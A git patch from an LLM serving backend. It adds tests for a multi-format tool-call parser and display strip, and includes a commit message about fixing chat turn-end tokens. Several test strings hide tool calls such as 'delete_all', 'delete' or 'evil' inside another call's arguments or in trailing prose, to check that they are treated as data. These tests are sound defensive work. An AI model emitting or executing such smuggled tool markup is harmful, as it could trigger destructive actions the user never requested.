+    """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes."""
+
+    def test_mistral_arg_quoting_python_tag_call(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "what is <|python_tag|>evil.call(x=1)"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what is <|python_tag|>evil.call(x=1)"
+
+
+class TestPythonTagOuterOverXmlLiteral:
+    """A leading Llama-3 ``<|python_tag|>`` call owns the turn: tool XML/Mistral
+    markup quoted in a ``.call(...)`` string argument (or in trailing prose) is
+    data, so the outer call executes -- parity with the bare-JSON / Mistral /
+    attribute-form leading-ownership rules. XML before the tag keeps normal order."""
+
+    def test_call_arg_quoting_complete_function_xml(self):
+        # A closed <function=...> in a .call() code arg must not beat the leading python_tag call.
+        text = (
+            '<|python_tag|>python.call(code="<function=render_html>'
+            '<parameter=x>1</parameter></function>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=render_html><parameter=x>1</parameter></function>"
+
+    def test_call_arg_quoting_bare_function_tag_in_query(self):
+        # A query mentioning <function=...> must search, not execute a phantom tool.
+        text = '<|python_tag|>web_search.call(query="how do I use <function=foo> in llama")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "how do I use <function=foo> in llama"
+
+    def test_call_arg_quoting_tool_call_json(self):
+        text = (
+            "<|python_tag|>save_file.call(content="
+            '"<tool_call>{\\"name\\": \\"delete\\", \\"arguments\\": {}}</tool_call>")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["save_file"]
+
+    def test_json_form_code_arg_quoting_function_xml(self):
+        # JSON emission: a <function=...> in the code arg is data; the outer "python" call runs.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<function=terminal>ls</function>"
+
+    def test_call_arg_quoting_mistral_trigger(self):
+        text = '<|python_tag|>web_search.call(query="see [TOOL_CALLS]evil[ARGS]{}")'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        # A leading python_tag call owns the turn even when a real XML literal follows.
+        text = (
+            '<|python_tag|>web_search.call(query="cats") '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_before_python_tag_keeps_xml_order(self):
+        # A foreign signal BEFORE the tag keeps normal document order (XML wins).
+        text = (
+            "<function=web_search><parameter=q>x</parameter></function> "
+            '<|python_tag|>python.call(code="y")'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestBareJsonOuterOverXmlLiteral:
+    """Quoted tool XML inside a leading bare-JSON call is data; XML before the JSON keeps normal order."""
+
+    def test_bare_json_code_arg_quoting_function_xml(self):
+        text = (
+            '{"name": "python", "arguments": '
+            '{"code": "run() # <function=terminal>ls</function>"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "run() # <function=terminal>ls</function>"
+
+    def test_bare_json_outer_unrestricted_mode(self):
+        text = '{"name": "python", "parameters": {"code": "<function=terminal>ls</function>"}}'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["python"]
+
+    def test_xml_before_json_keeps_xml_order(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            ' {"name": "python", "arguments": {"code": "x"}}'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMagistralThinkRehearsal:
+    """A call rehearsed inside [THINK]...[/THINK] is reasoning; the real call after wins, and parse agrees with strip."""
+
+    def test_function_xml_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]I could emit <function=web_search>{"query":"x"}</function>'
+            ' here[/THINK][TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_hermes_rehearsal_in_think_is_not_promoted(self):
+        text = (
+            '[THINK]maybe <tool_call>{"name":"web_search","arguments":'
+            '{"query":"x"}}</tool_call>[/THINK]'
+            '[TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["terminal"]
+
+    def test_unclosed_think_parses_nothing(self):
+        text = '[THINK]let me try <function=web_search>{"query":"x"}</function>'
+        assert parse_tool_calls_from_text(text) == []
+
+
+class TestDisabledBareJsonLiteralNotPromoted:
+    """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses."""
+
+    def test_literal_inside_disabled_json_stays_data(self):
+        text = (
+            '{"name": "Alice", "note": "try <function=web_search>'
+            '<parameter=query>x</parameter></function>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_python_tag_literal_inside_disabled_json_stays_data(self):
+        text = '{"name": "Alice", "note": "<|python_tag|>web_search.call(query=1)"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_disabled_json_still_parses(self):
+        text = (
+            '{"name": "Alice", "note": "<function=evil>x</function>"} '
+            '<tool_call>{"name": "web_search", "arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestMistralLiteralInsideLeadingJson:
+    """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it."""
+
+    def test_outer_json_call_wins_over_mistral_literal(self):
+        text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["python"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "[TOOL_CALLS]web_search{}"
+
+    def test_disabled_outer_json_keeps_mistral_literal_as_data(self):
+        text = '{"name": "Alice", "note": "[TOOL_CALLS]web_search{}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaWrappedWhitespace:
+    """Whitespace drift around ``call``/``:`` in wrapped Gemma calls must still parse (no fallback exists)."""
+
+    def test_space_after_call_colon_parses(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_space_around_colon_parses(self):
+        text = '<|tool_call>call : web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_strict_mode_still_requires_the_closing_tag(self):
+        text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+
+class TestGemmaDottedArgumentKeys:
+    """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost."""
+
+    def test_dotted_key_parses(self):
+        text = '<|tool_call>call:web_search{user.name:<|"|>bob<|"|>, query:<|"|>x<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"user.name": "bob", "query": "x"}
+
+
+class TestLeadingMistralCallOwnsTheTurn:
+    """A leading Mistral call wins in document order over literal XML in trailing prose."""
+
+    def test_leading_mistral_wins_over_trailing_xml_literal(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"cats"} '
+            "Note: <function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_leading_keeps_normal_order(self):
+        text = (
+            "<function=web_search><parameter=query>x</parameter></function> "
+            "[TOOL_CALLS]evil[ARGS]{}"
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGemmaDottedKeyAfterBareValue:
+    def test_dotted_key_after_bare_value_is_a_boundary(self):
+        text = "<|tool_call>call:web_search{query:foo,user.name:bob}<tool_call|>"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "foo", "user.name": "bob"}
+
+
+class TestNamelessLeadingJsonAnswerIsData:
+    """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses."""
+
+    def test_xml_literal_inside_json_answer_stays_data(self):
+        text = '{"answer": "use <function=web_search><parameter=query>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_real_call_after_json_answer_still_parses(self):
+        text = (
+            '{"answer": "docs"} <tool_call>{"name": "web_search", '
+            '"arguments": {"query": "cats"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingBareJsonOwnsTurnOverTrailingXml:
+    """Document order: a leading closed bare-JSON call owns the turn even when
+    tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule)."""
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}} Example: '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"}
+
+    def test_chained_leading_calls_win_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}};'
+            '{"name":"lookup","parameters":{"q":"second"}} '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    def test_non_call_leading_object_defers_to_trailing_real_call(self):
+        # Nameless/disabled-name objects decline: dropped, and the real trailing call still parses.
+        for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'):
+            text = lead + ' <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+            calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"})
+            assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls)
+
+    def test_leading_xml_call_still_wins_over_trailing_bare_json(self):
+        text = (
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> '
+            'Example: {"name":"lookup","parameters":{"q":"x"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+class TestProseCloseTagAfterClosedFunctionCall:
+    """A literal </function> in prose after a closed call is data: the call
+    ends at its first close that is not parameter data, so arguments never
+    swallow the prose between the real close and the literal."""
+
+    def test_arguments_do_not_swallow_prose(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_literal_close_inside_open_parameter_stays_data(self):
+        text = '<function=python><parameter=code>print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_arguments_do_not_swallow_prose(self):
+        # The attribute form shares the first-balanced-close rule: prose closes never fold in.
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_attribute_form_literal_close_in_open_parameter_stays_data(self):
+        text = '<function name="python"><parameter name="code">print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_two_calls_both_parse(self):
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            '<function name="python"><parameter name="code">x=1</parameter></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"})
+        assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls
+
+
+class TestEnabledNameJsonAnswerIsContent:
+    """A JSON answer whose top-level name matches an enabled tool but has no
+    call shape is content: the parser rejects it, so the strip and the drain
+    gate must keep it visible too."""
+
+    def test_answer_survives_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        ans = '{"name":"web_search","result":"no call"}'
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_answer_does_not_route_to_draining(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        assert not _looks_like_enabled_bare_json(
+            '{"name":"web_search","result":"no call"}', {"web_search"}
+        )
+
+    def test_real_call_still_strips_and_drains(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        real = '{"name":"web_search","parameters":{"q":"x"}}'
+        assert strip_leading_bare_json_call(real, {"web_search"}) == ""
+        assert _looks_like_enabled_bare_json(real, {"web_search"})
+
+    def test_arguments_string_call_still_strips(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        call = '{"name":"web_search","arguments":"{\\"q\\":\\"x\\"}"} tail'
+        assert strip_leading_bare_json_call(call, {"web_search"}) == "tail"
+
+
+class TestAttributeFormLeadingContainment:
+    """A leading attribute-form call owns the turn: markup quoted inside its
+    parameter is data, not a call for the shared XML parser to promote."""
+
+    def test_quoted_tool_call_inside_param_stays_data(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">find '
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call></param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_real_xml_call_before_attribute_form_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call> Example: '
+            '<function name="web_search"><param name="q">x</param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert calls[0]["function"]["name"] == "delete"
+
+
+class TestParameterKeepsMultipleLiteralCloses:
+    """A parameter that provably closes with its own tag keeps every literal
+    function close inside it as data (regression: the first literal close was
+    treated as ending the parameter, truncating the value)."""
+
+    def test_two_literal_closes_in_one_parameter(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "query": "a </function> b </function> c"
+        }
+
+    def test_strip_removes_the_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function> after"
+        )
+        assert strip_tool_markup(text, final = True) == "after"
+
+    def test_unclosed_parameter_still_heals_at_function_close(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+        calls = parse_tool_calls_from_text(
+            "<function=web_search><parameter=query>val</function>",
+            enabled_tool_names = {"web_search"},
+        )
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "val"}
+
+
+class TestMistralPreambleOwnership:
+    """A visible preface before the first Mistral call must not hand the turn
+    to a later XML literal: the Mistral call is first in document order."""
+
+    def test_v11_named_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_array_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_call_before_trigger_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "<function=evil><parameter=x>1</parameter></function> then "
+            '[TOOL_CALLS][{"name":"web_search","arguments":{}}]'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert calls[0]["function"]["name"] == "evil"
+
+    def test_prose_mention_without_call_shape_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "See [TOOL_CALLS] docs for details. "
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"evil"})
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestBareJsonStripRequiresTopLevelName:
+    """The strip's shape gate requires the parser's TOP-LEVEL name in every
+    mode: a JSON answer with only a nested name is content, even name-agnostic."""
+
+    def test_nested_name_answer_survives_name_agnostic_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        ans = '{"parameters":{},"result":{"name":"web_search"}}'
+        assert strip_leading_bare_json_call(ans) == ans
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_real_call_still_strips_name_agnostic(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == ""
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index c2dc1fe8db..7fe52a664d 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -24,15 +24,34 @@ import re as _re
 _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
 _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
 assert _m, "could not extract _TOOL_XML_RE source"
-_ns = {"_re": _re}
+# Provide both helpers so the extracted _strip_tool_xml_for_display resolves.
+from core.inference.tool_call_parser import _strip_function_xml_calls, _strip_mistral_closed_calls
+
+_ns = {
+    "_re": _re,
+    "_strip_mistral_closed_calls": _strip_mistral_closed_calls,
+    "_strip_function_xml_calls": _strip_function_xml_calls,
+}
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
+
+_xml_helper = _re.search(
+    r"def _strip_tool_xml\(text: str\) -> str:\n(?:    .+\n)+",
+    _src,
+)
+assert _xml_helper, "could not extract _strip_tool_xml source"
+assert "_strip_mistral_closed_calls" in _xml_helper.group(
+    0
+), "extracted _strip_tool_xml no longer runs the Mistral balanced strip"
+exec(_xml_helper.group(0), _ns)
+
 _helper = _re.search(
     r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n"
     r"(?:    .+\n)+",
     _src,
 )
 assert _helper, "could not extract _strip_tool_xml_for_display source"
+assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
 
@@ -46,6 +65,15 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
     assert "<tool_call>" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
 
 
+def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
+    # [TOOL_CALLS] with nested JSON needs the Mistral balanced-brace strip, not the regex.
+    text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "web_search" not in out, out
+    assert out == "ok  tail"
+
+
 def test_strips_well_formed_tool_call():
     text = (
         "Let me search.\n"
@@ -73,6 +101,25 @@ def test_strips_function_only_well_formed():
     assert "Done." in cleaned
 
 
+def test_strips_function_attribute_form():
+    # Attribute form <function name="..."> must strip from the route too; dotted/hyphenated names included.
+    text = (
+        'Sure.\n<function name="get_weather">\n'
+        "<parameter=city>\nSydney\n</parameter>\n</function>\nDone."
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "<function name=" not in cleaned
+    assert "</function>" not in cleaned
+    assert "Sure." in cleaned and "Done." in cleaned
+
+    dotted = 'A <function name="srv.list-issues">x</function> B'
+    assert _TOOL_XML_RE.sub("", dotted) == "A  B"
+
+    # Auto-Heal-disabled display contract still preserves literal markup.
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    assert "<function name=" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
 # ── Orphan openings ───────────────────────────────────────────────
 
 
@@ -281,3 +328,109 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     elapsed = time.perf_counter() - t0
     assert elapsed < 0.1, f"regex took {elapsed*1000:.0f}ms on 1000x orphan opens"
     assert "<tool_call>" not in cleaned
+
+
+# Llama-3 <|python_tag|> arm bounds on REAL sentinels only
+def test_python_tag_strip_consumes_literal_sentinel_in_arg():
+    # A literal <|...|> token inside the arg must not end the strip early.
+    text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}"
+
+
+@pytest.mark.parametrize(
+    "sentinel",
+    [
+        "<|eot_id|>",
+        "<|eom_id|>",
+        "<|start_header_id|>",
+        "<|end_header_id|>",
+    ],
+)
+def test_python_tag_strip_stops_at_real_sentinel(sentinel):
+    # A real control sentinel bounds the strip so following text survives.
+    text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert (
+        cleaned == f"{sentinel}visible answer"
+    ), f"strip did not stop at real sentinel {sentinel!r}: {cleaned!r}"
+
+
+def test_python_tag_strip_restarts_on_second_python_tag():
+    # A second <|python_tag|> opens a new region; both are stripped.
+    text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"second python_tag region leaked: {cleaned!r}"
+
+
+def test_route_strip_removes_param_alias_close_tag():
+    # Orphan </param> (attribute-form alias of </parameter>) must strip too.
+    assert _strip_tool_xml_for_display("answer </param>", auto_heal_tool_calls = True) == "answer "
+    assert (
+        _strip_tool_xml_for_display("answer </parameter>", auto_heal_tool_calls = True) == "answer "
+    )
+
+
+def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup():
+    # A literal <function=...></function> in a value must not truncate the strip.
+    text = "<function=python><parameter=code><function=evil></function></parameter></function> tail"
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail"
+
+
+def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
+    # The call ends at its first non-data close; prose after (even a literal </function>) survives.
+    from core.inference.tool_call_parser import strip_tool_markup
+    text = (
+        "<function=web_search><parameter=query>cats</parameter></function>"
+        " Done. The tag </function> closes a call."
+    )
+    assert strip_tool_markup(text, final = True) == "Done. The tag </function> closes a call."
+
+
+def test_final_strip_keeps_prose_mentioning_bare_markers():
+    # A false-alarm marker in prose must not drop trailing text; only call-start-shaped text drops.
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        "See [TOOL_CALLS] docs for details. More prose after.",
+        "<|python_tag|> is the Llama marker. Explanation continues.",
+        "The <|tool_call> opener wraps Gemma calls.",
+    ):
+        assert strip_tool_markup(text, final = True) == text
+    # A bare marker at end-of-text is a fragment and still drops.
+    assert strip_tool_markup("Answer text [TOOL_CALLS]", final = True) == "Answer text"
+
+
+def test_final_strip_still_drops_truncated_marker_calls():
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        '[TOOL_CALLS][{"name":"web_search","argu',
+        '[TOOL_CALLS]web_search[ARGS]{"q":"x',
+        '<|python_tag|>{"name":"web_search","par',
+        '<|python_tag|>foo.call(items=["a',
+        "<|tool_call>call:web_search{query:tru",
+    ):
+        assert strip_tool_markup(text, final = True) == ""
+
+
+def test_chained_bare_json_strip_consumes_all_calls():
+    # Next-turn history must not keep an executed call, else it replays.
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    enabled = {"web_search", "python"}
+    chained = (
+        '{"name":"web_search","parameters":{"q":"first"}};'
+        '{"name":"python","parameters":{"code":"x"}}'
+    )
+    assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == ""
+    assert (
+        strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled)
+        == "trailing prose"
+    )
+    # The chain stops at a non-call answer object, which stays visible.
+    call_then_answer = (
+        '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}'
+    )
+    assert (
+        strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled)
+        == '{"name":"web_search","result":"data"}'
+    )

From f38672da65e420a11323f0e5aa4649449a20e66c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 10:07:56 -0700
Subject: [PATCH 213/306] Studio: stop chat generation on the
 assistant-turn-end token (fixes Qwen3.5 loop) (#6804)

* Studio: stop chat generation on the assistant-turn-end token

A small chat model (e.g. Qwen3.5-0.8B) looped on the safetensors path: it emitted
a valid response or tool call, then ran past its turn and re-emitted the call,
hallucinating <|im_start|>user turns. Root cause: the model's tokenizer.eos_token
is synced to the config document terminator (<|endoftext|>, 248044) while chat
turns actually end with <|im_end|> (248046), so generate_stream's single
eos_token_id never stopped at the turn boundary.

Stop on every assistant-turn-end marker the vocab defines (tokenizer.eos plus
<|im_end|>, <|eot_id|>, <end_of_turn>, ...). Verified on the real weights: the
single-eos control loops (400 tokens) while the fixed set yields a clean 38-token
tool call and a clean answer from the tool result. No-op when eos is already the
turn-ender (the id just dedups).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: repair chat generation_config.eos_token_id at load time

Qwen3.5 / Qwen3.6 small chat checkpoints declare the chat turn-end as
tokenizer.eos_token (<|im_end|>) but ship config.eos_token_id = <|endoftext|>
and no generation_config.json (upstream shipped generation_config only on the
large chat models). So every .generate() path that reads generation_config -- the
vision path and tool loops, not just generate_stream -- never stops at the turn
boundary and loops.

At load time, when the tokenizer's own eos is a chat turn-end marker but
generation_config.eos_token_id omits it, add it. This fixes the config once for
all generation paths and complements the generate_stream turn-end stop. No-op for
base models (eos is a plain document terminator) and already-correct configs.
Verified on unsloth/Qwen3.5-0.8B: 248044 -> [248044, 248046].

* Studio: derive chat turn-end eos from the template, resolve once at load

Address PR review of the turn-end stop handling:
- Do not call tokenizer.get_vocab() per generation request (serializes the whole
  100k+ vocab). Resolve the turn-end tokens once at load and cache them on
  model_info; generate_stream reads the cache.
- Derive turn-end markers from the chat_template the model actually uses, not raw
  vocab membership, so a base/coder model that merely carries ChatML control
  tokens in a shared vocab is not stopped early, and a loader that synced
  tokenizer.eos to the document terminator is still covered.
- Skip harmony/gpt-oss templates: <|end|> there is an intra-message channel
  delimiter, not the turn end (dropped <|return|> from the marker list too).
- Move the logic to a dependency-light module (core.inference.chat_eos) so the
  unit test does not import the full unsloth/torch inference stack.

Verified on unsloth/Qwen3.5-0.8B (gen_config 248044 -> [248044, 248046], clean
38-token tool call with generation_config-only stopping), Phi-3.5 (adds <|end|>),
